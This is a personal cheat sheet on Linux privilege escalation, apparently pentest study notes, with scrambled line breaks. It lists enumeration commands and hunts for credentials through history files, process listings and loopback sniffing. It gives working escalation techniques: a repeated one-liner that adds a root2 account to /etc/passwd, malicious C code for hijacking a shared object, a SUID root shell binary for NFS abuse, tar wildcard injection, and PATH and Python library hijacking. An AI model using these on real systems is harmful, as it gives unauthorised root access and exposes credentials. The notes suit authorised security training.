Files and User Privileges
Manual Enumeration
id
can tell use about the user contexthostname
can give us, the, uh, hostname/etc/issue
and /etc/os-release
and uname -a
can give us OS info for exploitsps aux
ip a
or ifconfig
route
or routel
or netstat -rn
arp -a
(same with /etc/hosts
)netstat -anp
or ss -anp
/etc/iptables
iptables-save
output in that directory, ending in .v4 I thinkls -lah /etc/cron*
/etc/cron.hourly/
)sudo crontab -l
will show scripts run by the root usergrep "CRON" /var/log/syslog
dpkg -l
mount
will list all mounted filesystems
cat /etc/fstab
and grep for sensitive informationlsblk
to list all available disksdf -h
to listlpstat
lsmod
/sbin/modinfo {module_name}
Automated Enumeration
linpeas
https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
unix-privesc-check
./unix-privesc-check standard > output.txt
LinEnum
- apparently a developed tool listed alongside LinPeas
pspy
- https://github.com/DominicBreuker/pspy
linux-exploit-suggester
(executed by linpeas)
Checking User History Files
.bashrc
can sometimes contains environment variables with credentialsecho $HISTFILE
env
Inspecting User/System Trails for Credentials
watch -n 1
sudo to run something like ps -aux | grep "pass"
to look for new processes spawned with “pass” somewhere in the commandsudo tcpdump -i lo -A | grep "pass"
Searching for interesting files
find . -name '*.sh' 2>/dev/null
(or .py
, .pl
, etc.)
-not -path '{path}/*'
find / -name '*.sh' -not -path '/snap/*' -not -path '/usr/src/linux*' 2>/dev/null
Abusing Insecure Cron Jobs/File Permissions
ls -lah /etc/cron*
grep "CRON" /var/log/syslog
/var/log/cron.log
tar -zcf {output_file} *
, we can name a file --checkpoint=1 --checkpoint-action=exec={command_or_script}
, which would get appended onto the tar command due to the wildcardfind / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
find /home -readable -type f 2>/dev/null
Abusing Password Authentication
/etc/passwd
is considered valid for auth, even with existence of /etc/shadow
, meaning that if we can write to /etc/passwd
we can just set an arbitrary password for a user
openssl passwd {passwd}
, which returns crypt algo hashecho 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd
(creates new root2
/w00t
user)PATH Abuse
/usr/sbin
, we could add a file there called cat
with echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd
inside
/usr/sbin
comes first in $PATH
(and is shared among users), scripts run by root that call cat
would run our binarySetUID/SetGID
setuid
and setgid
executablesfind / -perm -u=s -type f 2>/dev/null
os.setuid(0)
before anything is run as root
echo "echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd" > /tmp/cat
(replace cat with target binary)chmod +x /tmp/cat
export PATH=/tmp:$PATH
(placing /tmp
at the front so our “binaries” come first)/etc/passwd
Abuse Capabilities
cap_setuid
, cap_setgid
, cap_sys_admin
, or cap_dac_override
to gain root privilegesgetcap -r / 2>/dev/null
/usr/sbin/getcap
vim
) with file read permissions (cap_dac_override
) - we could use it to read a root-level fileCircumvent Special Sudo Permissions
sudo -l
to see allowed commandsEnumerate Kernel for CVEs
cat /etc/issue
, uname -r
, and arch
searchsploit
to search for existing kernel exploits
searchsploit "linux kernel {kernel type and version} Local Privilege Escalation"
and then grep for the version needed
grep "4." | grep -v " < 4.4.4" | grep -v "4.8"
Shared Object Hijacking
RUNPATH
, which is given loading priority
readelf -d {binary} | grep PATH
will tell us the runpath of the binaryRUNPATH
, we can compile a malicious .so
file to be used by the binary in place of a custom .so
fileldd
to figure out which shared objects are in use (as well as their paths)
ldd {executable_name}
gcc {c_code_file} -fPIC -shared -o {output_so_file}
and move the file to the correct location#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() {
setuid(0);
system("echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd");
}
Python Library Hijacking
import os; os.system('{command}')
to the function namepsutil
is imported and the virtual_memory()
function is used, we can run grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
and locate where the function itself is called, adding our line to the top of the functionpython3 -c 'import sys; print("\n".join(sys.path))'
to see the in-order priority list of library locations{library_name}.py
to a higher directory, with a function inside that runs import os; os.system('{command}')
SETENV
for /usr/bin/python3
in /etc/sudoers
, we can define the location to import modules fromPYTHONPATH=/tmp/ python3 ./{script}
with our malicious library and function, same as above
Common Restricted Shells
Command Injection
$()
or `
to simply execute commandsls -l ${cmd}
ls;whoami
or ls|whoami
Modifying Environment Variables
$0
or $PATH
directlyShell Functions
function asdf() { /bin/bash; }
, and then run asdf
Reading files
help
or compgen -c
to see what we haveman -C {file}
to set the contents of the file as man config, which man will error out onNo Root Squash Abuse
nfsnobody
, which is unprivileged
/bin/sh
on kali machine #include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
/mnt
to /tmp
on the target server’s NFS - sudo mount -t nfs {target}:/tmp /mnt
/tmp
directory on the NFS server - cp {binary_name} /mnt
chmod u+s /mnt/{binary_name}
What to do once you have root?
/etc/shadow
for hashes